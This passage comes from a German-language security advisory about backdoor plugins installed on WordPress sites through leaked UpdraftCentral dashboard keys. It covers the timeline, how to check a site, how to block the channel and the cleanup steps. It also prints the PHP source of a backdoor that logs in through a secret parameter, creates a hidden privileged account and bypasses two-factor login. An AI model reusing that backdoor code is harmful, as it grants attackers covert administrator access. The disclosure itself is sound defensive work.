\u00dcbergangsl\u00f6sung<\/strong><\/td>\n| die UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript pr\u00fcfen, das Passwort f\u00fcr teamupdraft.com \u00e4ndern und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse 43.250.53.42<\/code> \u00fcber den Dienst UpdraftCentral den Befehl plugin.upload_plugin<\/code> an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.<\/p>\nDer Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schw\u00e4che in unserer Konfiguration ausgenutzt. Er kam \u00fcber den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit g\u00fcltigen privaten Dashboard-Schl\u00fcsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausf\u00fchren. Deshalb halten wir das f\u00fcr ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.<\/p>\n Wer gef\u00e4hrdet ist:<\/strong> jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schl\u00fcssel hat. Jede der \u00fcber 4 Millionen UpdraftPlus-Installationen enth\u00e4lt den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gef\u00e4hrdet dieser Angriff nicht, weil sie ohne Schl\u00fcssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Laut Hersteller sind selbst gehostete UpdraftCentral-Dashboards nicht betroffen. Abgeflossen sind aber auch die Schl\u00fcssel f\u00fcr UpdraftVault und UpdraftClone, die der Hersteller inzwischen ersetzt hat. Der Schl\u00fcssel kann auch ohne Wissen des Betreibers entstanden sein: Beim Anmelden am teamupdraft.com-Konto im Tab Premium \/ Extensions bieten die kostenlose und die Premium-Version das Kontrollk\u00e4stchen \u201eAdd this website to UpdraftCentral\u201c an, das vorausgew\u00e4hlt ist, solange die Website keinen Schl\u00fcssel hat (gepr\u00fcft im Code der Versionen 2.26.11 und 1.26.13). Die blo\u00dfe Installation des Plugins erzeugt keinen Schl\u00fcssel, erst die Anmeldung an einem teamupdraft.com-Konto im Plugin. Betroffen sind daher vor allem Premium-Websites, deren Betreiber sich f\u00fcr Lizenz und Updates anmelden, und kostenlose Websites, die irgendwann mit einem Konto verbunden wurden.<\/p>\nEs handelt sich nicht um die Schwachstelle CVE-2026-10795, \u00fcber die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.<\/p>\n Das Plugin ist eine Hintert\u00fcr. \u00dcber einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintert\u00fcr auf unseren Websites nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns dar\u00fcber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden. Andere Administratoren haben inzwischen jedoch funktionierende Varianten gefunden, die wir weiter unten beschreiben.<\/p>\n Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erkl\u00e4rung gebeten, wie die Schl\u00fcssel zum Angreifer gelangt sind.<\/p>\n Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie gepr\u00fcft haben.<\/strong> Entfernen Sie die Verbindung sofort und pr\u00fcfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine \u00f6ffentliche Erw\u00e4hnung dieser Hintert\u00fcr oder eines \u00e4hnlichen Angriffs nach dem Juni-Fix gefunden.<\/p>\nWas Sie jetzt tun sollten<\/h2>\n1. Entfernen Sie die UpdraftCentral-Verbindung<\/h3>\nAktualisieren Sie UpdraftPlus auf Version 1.26.13 (kostenlos) oder 2.26.13 (Premium) oder neuer. Sie l\u00f6scht UpdraftCentral-Cloud-Schl\u00fcssel, die vor dem 18.10.2026 um 14:07 MESZ angelegt wurden, von selbst. Version 1.26.12 \/ 2.26.12 l\u00f6scht sie nicht. Pr\u00fcfen Sie danach trotzdem, ob kein Schl\u00fcssel auf der Website geblieben ist:<\/p>\n \u00d6ffnen Sie im WordPress-Admin Einstellungen \u2192 UpdraftPlus Backups \u2192 Reiter \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klicken Sie auf \u201eManage existing keys (N)\u2026\u201c und bei jedem Schl\u00fcssel auf \u201eDelete\u2026\u201c. Steht dort kein Schl\u00fcssel, ist die Website nicht verbunden.<\/p>\n Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:<\/p>\n wp option delete updraft_central_localkeys<\/code><\/pre>\nEntfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 bei der Website \u2192 Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schl\u00fcssel des Dashboards, entscheidend ist also das L\u00f6schen des Schl\u00fcssels auf der Website.<\/p>\n Laut Hersteller k\u00f6nnen Sie die Website wieder verbinden, nachdem Sie den Schl\u00fcssel gel\u00f6scht, die Website gepr\u00fcft und die Administrator-Passw\u00f6rter ge\u00e4ndert haben. \u00c4ndern Sie vorher Ihr Passwort f\u00fcr teamupdraft.com (Adresse selbst in den Browser eingeben, keinem Link aus einer E-Mail folgen), \u00e4ndern Sie dasselbe Passwort \u00fcberall, wo Sie es verwendet haben, und richten Sie die Zwei-Faktor-Authentifizierung neu ein. Falls Sie unser Sperr-mu-Plugin eingesetzt haben, entfernen Sie es vor dem erneuten Verbinden. Wer UpdraftVault nutzt, muss seine Websites mit den neuen Zugangsdaten neu verbinden.<\/p>\n Hat die Website auch UpdraftPlus-Migrator-Schl\u00fcssel (Tab \u201eMigrate \/ Clone\u201c) und migrieren Sie gerade nicht, l\u00f6schen Sie auch diese, etwa mit wp option delete updraft_migrator_localkeys<\/code>. Sie nutzen denselben Kanal und erlauben einer anderen Website, Sicherungsdateien an Ihre Website zu senden. Einen Missbrauch haben wir bisher nicht gesehen.<\/p>\nUpdraftPlus Premium speichert das Passwort des teamupdraft.com-Kontos so in der Datenbank, wie Sie es eingeben (Option updraftplus-addons_options<\/code>), und l\u00f6scht es erst nach einer erfolgreichen Anmeldung per Token. Es kann daher in der Datenbank und in deren Sicherungen bleiben. In der Praxis bleibt es oft dauerhaft dort. Ein Leser fand es auf allen drei seiner Premium-Websites und in Sicherungen bis zur\u00fcck ins Jahr 2022 und stellte fest, dass schon eine einfache Verbindung mit dem Konto im Tab Premium \/ Extensions es speichert. Wir fanden es auf einer unserer drei Websites. Der Hersteller sagt, das Passwort werde nach der ersten Verbindung entfernt; der Code entfernt es aber erst, nachdem Add-ons erfolgreich per Token beansprucht wurden. Mit dem folgenden Befehl k\u00f6nnen Sie es entfernen; Plugin-Updates brauchen es nicht. \u00c4ndern Sie danach das Kontopasswort. Wenn Sie sich im Plugin erneut am Konto anmelden, entfernen Sie das H\u00e4kchen bei \u201eAdd this website to UpdraftCentral\u201c. In den bisher analysierten Proben dieser Kampagne haben wir keinen Code gefunden, der dieses Passwort liest, aber jede funktionierende Hintert\u00fcr und jedes hochgeladene Plugin kann es lesen.<\/p>\nwp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'<\/code><\/pre>\n2. Pr\u00fcfen Sie, ob die Hintert\u00fcr auf Ihrer Website ist<\/h3>\nOhne Kommandozeile:<\/p>\n \n- Klicken Sie auf demselben UpdraftCentral-Bildschirm auf \u201eView recent UpdraftCentral log events\u2026\u201c. Suchen Sie nach den Zeilen \u201eCommand received: plugin.upload_plugin\u201c, \u201eCommand received: plugin.delete_plugin\u201c und \u201eprobe.central.updraftplus.com\u201c. Steht die Website hinter einem Proxy wie Cloudflare, zeigt das Log die IP-Adresse des Proxys, nicht die des Angreifers. Zeilen mit \u201eSignature verification failed; discarding\u201c bedeuten, dass der Angreifer es versucht hat, sein Schl\u00fcssel aber nicht zur Website passte und die Website den Befehl verworfen hat.<\/li>\n
- Suchen Sie in der Plugin-Liste nach einem Plugin, das Sie nicht installiert haben. Die erste Variante hat die Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und einen Namen aus zwei W\u00f6rtern, meist mit drei zus\u00e4tzlichen Zeichen, zum Beispiel \u201eLoad Stack 35C\u201c oder \u201eQuery Shelf\u201c. Die anderen Varianten haben jedes Mal einen anderen Namen und eine andere Beschreibung, zum Beispiel \u201eBoost Kit\u201c, \u201eCache Smith\u201c oder \u201eSite Health 364F\u201c. Manche Varianten verstecken sich jedoch aus der Plugin-Liste, ein Blick darauf gen\u00fcgt also nicht.<\/li>\n
- Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen \u201eSite Tools\u201c oder einer E-Mail-Adresse bei
@example.org<\/code> oder @example.com<\/code>. Die funktionierende Variante legt einen Administrator an und versucht ihn zu verstecken, er erscheint in der Liste aber ganz normal.<\/li>\n- Meldet eine Hintert\u00fcr den Angreifer als vorhandenen Administrator an, legt sie kein Konto an. Dann verraten sie nur das Plugin und das Access-Log, pr\u00fcfen Sie die Website daher auch mit dem Skript und sehen Sie ins Access-Log.<\/li>\n<\/ul>\n
Ist die erste Variante der Hintert\u00fcr auf der Website, funktioniert der Admin wom\u00f6glich gar nicht, weil das Plugin jede Anfrage abst\u00fcrzen l\u00e4sst. Verwenden Sie dann die Kommandozeile.<\/p>\n Mit Kommandozeile speichern Sie unser Pr\u00fcfskript vom Ende dieses Artikels als check-updraftcentral.php<\/code> im WordPress-Stammverzeichnis und f\u00fchren aus:<\/p>\nwp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\nDas Skript liest nur und \u00e4ndert nichts. Der Schalter --skip-plugins<\/code> ist wichtig, weil eine installierte Hintert\u00fcr sonst auch WP-CLI abst\u00fcrzen l\u00e4sst. Zeilen mit [ALERT]<\/code> sind Spuren des Angriffs, [WARN]<\/code> hei\u00dft pr\u00fcfen, [OK]<\/code> ist ein sauberes Ergebnis. Ein protokollierter Befehl hei\u00dft noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb pr\u00fcft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit [ALERT]<\/code>, lesen Sie weiter bei \u201eWas tun, wenn Sie sie finden\u201c.<\/p>\nUpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner h\u00e4ufig besuchen, kann der Eintrag \u00fcber den Angriff aus dem Log fallen, und das Skript meldet dann beim Log [OK]<\/code>. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa \/var\/log\/nginx\/<\/code>):<\/p>\ngrep 'class-udrpc.php"' \/var\/log\/apache2\/*access*<\/code><\/pre>\nDer Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, der Befehl erfasst es also nicht.<\/p>\nDie funktionierende Variante der Hintert\u00fcr hinterl\u00e4sst in der Datenbank wom\u00f6glich gar keine Spur: Ohne den Parameter m<\/code> meldet sie den Angreifer als vorhandenen Administrator an. Suchen Sie im Access-Log daher auch nach Anfragen an die Ausl\u00f6ser beider Varianten:<\/p>\nzgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' \/var\/log\/apache2\/*access*<\/code><\/pre>\nPr\u00fcfen Sie jede gefundene Zeile. Status 302 bedeutet eine Weiterleitung in den Admin, also wahrscheinlich eine erfolgreiche Anmeldung des Angreifers. Status 500 bedeutet, dass die fehlerhafte Variante noch auf der Website ist. Status 200 mit der \u00fcblichen Seitengr\u00f6\u00dfe bedeutet, dass die Hintert\u00fcr nicht mehr da ist. zgrep<\/code> durchsucht auch \u00e4ltere komprimierte Logs.<\/p>\n3. Optional: Sperren Sie UpdraftCentral-Befehle vollst\u00e4ndig<\/h3>\nWenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausf\u00fchrt, selbst wenn noch ein Schl\u00fcssel darauf liegt, speichern Sie im Verzeichnis wp-content\/mu-plugins\/<\/code> eine Datei block-updraftcentral.php<\/code> mit diesem Inhalt:<\/p>\n<?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST['udrpc_message'] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\nWordPress l\u00e4dt Dateien in mu-plugins<\/code> vor den regul\u00e4ren Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites \u00fcber UpdraftPlus Migrator, der denselben Kanal nutzt. L\u00f6schen Sie die Datei, sobald der Hersteller das Problem erkl\u00e4rt und behoben hat.<\/p>\nEin weiterer g\u00fcnstiger Schutz: Kann PHP nicht in wp-content\/plugins<\/code> schreiben (zum Beispiel anderer Eigent\u00fcmer des Verzeichnisses und Rechte 750), nimmt die Website den signierten Befehl zwar an, die Plugin-Installation schl\u00e4gt aber fehl. Auf einer der betroffenen Websites hat das den Angriff gestoppt. Plugins m\u00fcssen dann anders aktualisiert werden, etwa per WP-CLI als Eigent\u00fcmer des Verzeichnisses.<\/p>\nWenn Sie Wordfence nutzen, aktualisieren Sie die Firewall-Regeln (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence hat eine Regel ver\u00f6ffentlicht, die UpdraftCentral-Befehle blockiert, auch f\u00fcr die kostenlose Version. Die Regel gilt aber nur f\u00fcr UpdraftPlus bis 1.26.11 und vor 2.26.12; eine auf 1.26.12 \/ 2.26.12 aktualisierte Website sch\u00fctzt sie also nicht mehr, obwohl diese Versionen die Schl\u00fcssel nicht l\u00f6schen. Aktualisieren Sie daher direkt auf 1.26.13 \/ 2.26.13.<\/p>\n Wie wir darauf gesto\u00dfen sind<\/h2>\nUm 5:38 erhielten wir eine automatische WordPress-E-Mail: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.<\/p>\nAlle Dateien im Verzeichnis wp-content\/plugins\/load-stack-35c\/<\/code> hatten dieselbe \u00c4nderungszeit, 4:14:30. Eine Sekunde sp\u00e4ter \u00e4nderte sich das Verzeichnis wp-content\/upgrade\/<\/code>, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also \u00fcber den regul\u00e4ren WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:<\/p>\n43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] "POST \/ HTTP\/1.1" 200 8454 "-" "WordPress\/6.4; class-udrpc.php"<\/code><\/pre>\nclass-udrpc.php<\/code> ist die Bibliothek, \u00fcber die UpdraftPlus Befehle von UpdraftCentral empf\u00e4ngt. Ihr eigenes Log (die Datenbankoption updraftcentral_client_log<\/code>) best\u00e4tigte es: Command received: plugin.upload_plugin<\/code>.<\/p>\nZeitablauf<\/h2>\nWir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von 43.250.53.42<\/code> (Hoster RedSwitches) mit dem User-Agent-Header WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n\n\n\n\n| Website C<\/td>\n | 19.10. 0:41:32<\/td>\n | 6:05:31<\/td>\n | gescheitert, der Schl\u00fcssel geh\u00f6rte einem Benutzer ohne Recht, Plugins zu installieren<\/td>\n<\/tr>\n | \n| Website A<\/td>\n | 2:14:05<\/td>\n | 4:14:30<\/td>\n | Hintert\u00fcr \u201eLoad Stack 35C\u201c aktiv, Website bis 6:13 nicht erreichbar<\/td>\n<\/tr>\n | \n| Website B<\/td>\n | 2:39:44<\/td>\n | 6:53:49<\/td>\n | Hintert\u00fcr \u201eText Gantry Eb0\u201c aktiv, um 6:56 entfernt<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n Die Sondierung ist eine Nachricht an einen nicht existierenden Schl\u00fcssel, probe.central.updraftplus.com<\/code>. Die Website antwortet, dass sie die Nachricht nicht versteht, und verr\u00e4t damit, dass sie UpdraftCentral-Befehle annimmt. Den n\u00e4chsten Befehl schickte der Angreifer bereits an den echten Schl\u00fcssel 0.central.updraftplus.com<\/code>. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.<\/p>\nEin anderer Administrator schickte uns Logs, nach denen dieselbe IP 43.250.53.42<\/code> auf zwei seiner Websites schon am 23. September 2026 andere Angriffe versuchte: eine REST-API-Abfrage der Seitenliste und etwa zehn Path-Traversal-Versuche im Parameter pagename<\/code>. Der Angreifer hat diese Websites also fast einen Monat vor dem Angriff \u00fcber UpdraftCentral ausgekundschaftet.<\/p>\nDer Angreifer kam zur\u00fcck. Am 19. Oktober erreichten weitere UpdraftCentral-Anfragen Website A um 10:57:48, Website B um 11:14:19 und Website C um 12:03:14, jeweils zwei in derselben Sekunde, und Website C noch einmal um 20:27:50. Unser mu-Plugin hat sie alle bereits mit 403 abgewiesen, daher wissen wir nicht, was sie enthielten. Ein anderer Administrator schickte uns sein UpdraftCentral-Log, in dem der Angreifer um 12:22:48 plugin.delete_plugin<\/code> und um 12:22:50 ein neues plugin.upload_plugin<\/code> schickte und so die fehlerhafte Hintert\u00fcr durch eine andere ersetzte. Unsere Anfragepaare geh\u00f6ren wahrscheinlich zu demselben Austausch. UpdraftPlus schreibt jeden Befehl, der die Signaturpr\u00fcfung besteht, noch vor der Ausf\u00fchrung als \u201eCommand received\u201c ins UpdraftCentral-Log (gepr\u00fcft im Code der Version 2.26.11). Das Log beh\u00e4lt aber nur die letzten 50 Ereignisse, und vom mu-Plugin gestoppte Anfragen stehen nicht darin.<\/p>\nAuf der Website eines weiteren Administrators schickte der Angreifer die Sondierung am 18.10. um 23:10:30 MESZ und lud danach drei verschiedene Hintert\u00fcren hoch: um 23:39:52 die versteckte minimale \u201eSite Health Cache\u201c, um 0:34:34 die funktionierende \u201eFast2engine\u201c und am 19.10. um 9:28:47 die fehlerhafte \u201ePost Dock 776\u201c. Ein Anfragepaar um 11:40:45 und 11:40:46 scheiterte dort mit Fehler 500, weil die fehlerhafte Hintert\u00fcr bereits die ganze Website abst\u00fcrzen lie\u00df. Der Angreifer schickt also nicht immer zuerst die fehlerhafte Variante, und eine Website kann mehrere Hintert\u00fcren erhalten.<\/p>\n Wie der Angriff ablief<\/h2>\nBeim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schl\u00fcsselpaar und schickt den \u00f6ffentlichen Schl\u00fcssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schl\u00fcsselpaar und schickt der Website nur seinen \u00f6ffentlichen Schl\u00fcssel. Der private Schl\u00fcssel des Dashboards bleibt beim Dienst. Jeder Befehl muss f\u00fcr den Schl\u00fcssel der Website verschl\u00fcsselt und mit dem privaten Schl\u00fcssel des Dashboards signiert sein. Die Website f\u00fchrt ihn dann mit den Rechten des Benutzers aus, der den Schl\u00fcssel in WordPress angelegt hat.<\/p>\n Der Befehl plugin.upload_plugin<\/code> bestand auf zwei Websites diese gesamte Pr\u00fcfung. Website A haben wir im Detail untersucht und folgende Erkl\u00e4rungen ausgeschlossen:<\/p>\n\n- Die bekannte Schwachstelle CVE-2026-10795.<\/strong> Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit \u201eCould not decrypt incoming message\u201c.<\/li>\n
- Ein ver\u00e4ndertes Plugin.<\/strong> Die Dateien
class-udrpc2.php<\/code>, central\/bootstrap.php<\/code>, central\/listener.php<\/code> und central\/host.php<\/code> sind Byte f\u00fcr Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org.<\/li>\n- Das \u00e4ltere unsignierte Nachrichtenformat.<\/strong> Der Code lehnt es f\u00fcr UpdraftCentral-Schl\u00fcssel ab, und der Eintrag \u201eCommand received\u201c entsteht erst nach dieser Pr\u00fcfung.<\/li>\n
- Ein untergeschobener Dashboard-Schl\u00fcssel.<\/strong> Die Schl\u00fcssel-Fingerabdr\u00fccke sind in den t\u00e4glichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schl\u00fcsseltausch aufgerufen.<\/li>\n
- Schwache Kryptografie.<\/strong> Website- und Dashboard-Schl\u00fcssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enth\u00e4lt phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturpr\u00fcfung behoben ist.<\/li>\n
- Ein kompromittierter wp-admin.<\/strong> Es sind keine unbekannten Administratoren hinzugekommen, die Pr\u00fcfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload \u00fcber den Admin.<\/li>\n<\/ol>\n
Der Angreifer besa\u00df also die privaten Dashboard-Schl\u00fcssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schl\u00fcssel nie, sie konnten von dort also nicht abflie\u00dfen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im M\u00e4rz und April 2026 Befehle an Website B mit diesem User-Agent-Header:<\/p>\n WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\nDer Angreifer schickte WordPress\/6.4; class-udrpc.php<\/code>, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schl\u00fcssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie au\u00dferhalb davon verwendet.<\/p>\nTeamUpdraft best\u00e4tigte am 19. Oktober, dass ein Angreifer am Wochenende des 17. und 18. Oktober Zugriff auf teamupdraft.com und wahrscheinlich auch auf die Kundendatenbank einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel hatte. Die Schl\u00fcssel sind also aus der Infrastruktur des Herstellers abgeflossen. Das passt zum Zeitablauf: Die Schl\u00fcssel f\u00fcr die Websites B und C existierten seit November 2025, und der Angreifer verwendete sie erst in der Nacht vom 18. auf den 19. Oktober, also direkt nach dem Einbruch. Wie der Angreifer in teamupdraft.com eingedrungen ist, hat der Hersteller nicht mitgeteilt.<\/p>\n Auf Website C scheiterte der Angriff durch Zufall. Den Schl\u00fcssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation pr\u00fcft UpdraftCentral, ob der Eigent\u00fcmer des Schl\u00fcssels die Rechte install_plugins<\/code> und activate_plugins<\/code> hat. Er hatte keines davon.<\/p>\nWarum das ein kritisches UpdraftCentral-Problem ist<\/h2>\nDer UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann f\u00fchrt die Website jeden mit dem Dashboard-Schl\u00fcssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschlie\u00dflich Upload und Aktivierung beliebiger Plugins. Der Betreiber best\u00e4tigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schl\u00fcssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026, und ein anderer Administrator meldet missbrauchte Schl\u00fcssel vom Februar und M\u00e4rz 2022. Das Alter eines Schl\u00fcssels sch\u00fctzt also nicht. Missbraucht wurde auch der Schl\u00fcssel von Website A, angelegt am 10.10.2026. Ein anderer Administrator bemerkte, dass der Angreifer eine Testkopie einer Website mit demselben Schl\u00fcssel, aber anderer Adresse in Ruhe lie\u00df. Der Angreifer arbeitete also offenbar mit der Liste der Websites, die nur UpdraftCentral hat.<\/p>\n Die Sicherheit aller verbundenen Websites h\u00e4ngt damit an einer einzigen Annahme: dass die privaten Dashboard-Schl\u00fcssel nicht abflie\u00dfen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites \u00fcbernommen und es bei einer dritten versucht. UpdraftPlus hat \u00fcber 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.<\/p>\n Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), \u00fcber die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle f\u00e4lschen und ein sch\u00e4dliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.<\/p>\n Was die Hintert\u00fcr genau tut<\/h2>\nDas Plugin hat f\u00fcnf Dateien, Logik enth\u00e4lt aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gek\u00fcrzt:<\/p>\n define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH\u2026' ); \/\/ 32 Zeichen\ndefine( 'LOADSTACK35C_FIELD', '_9f5696' );\ndefine( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );\ndefine( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw\u2026' ); \/\/ 22 Zeichen\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( 'init', array( $this, 'handle_sync' ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( 'login', self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t'user_login' => self::SVC_LOGIN,\n\t\t\t\t\t'user_pass' => self::SVC_PASS,\n\t\t\t\t\t'user_email' => self::SVC_LOGIN . '@example.org',\n\t\t\t\t\t'display_name' => 'Site Tools',\n\t\t\t\t\t'role' => 'editor',\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u->add_cap( 'manage_options' );\n\t\t\t\t$u->add_cap( 'install_plugins' );\n\t\t\t\t$user = get_user_by( 'id', $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user->ID, $user->user_login );\n\t\t\twp_set_auth_cookie( $user->ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( 'index.php' ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( 'load_stack_35c_sync_token' ) ) {\n\t\tupdate_option( 'load_stack_35c_sync_token', 'j0j8nxxH\u2026', false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\nSo w\u00fcrde es funktionieren, wenn es keinen Fehler enthielte:<\/p>\n \n- Bei jeder Anfrage an die Website h\u00e4ngt es sich mit Priorit\u00e4t 1 an die Aktion
init<\/code>, also fr\u00fcher als die meisten anderen Plugins.<\/li>\n- Es pr\u00fcft, ob die URL den Parameter
?_9f5696=<\/code> enth\u00e4lt, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mit hash_equals<\/code>, das unabh\u00e4ngig von einer \u00dcbereinstimmung gleich lange dauert, sodass sich das Token nicht \u00fcber Antwortzeiten erraten l\u00e4sst. Ohne das richtige Token passiert nichts, und die Website verh\u00e4lt sich normal.<\/li>\n- Mit dem richtigen Token legt es den Benutzer
data-ops43<\/code> an, mit einem im Plugin hinterlegten Passwort, der E-Mail data-ops43@example.org<\/code> und dem Anzeigenamen \u201eSite Tools\u201c.<\/li>\n- Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen:
manage_options<\/code> und install_plugins<\/code>.<\/li>\n- Es meldet den Besucher als diesen Benutzer \u00fcber
wp_set_auth_cookie<\/code> mit \u201eAngemeldet bleiben\u201c an, also mit einem 14 Tage g\u00fcltigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence.<\/li>\n- Es leitet ihn in den Admin weiter.<\/li>\n<\/ol>\n
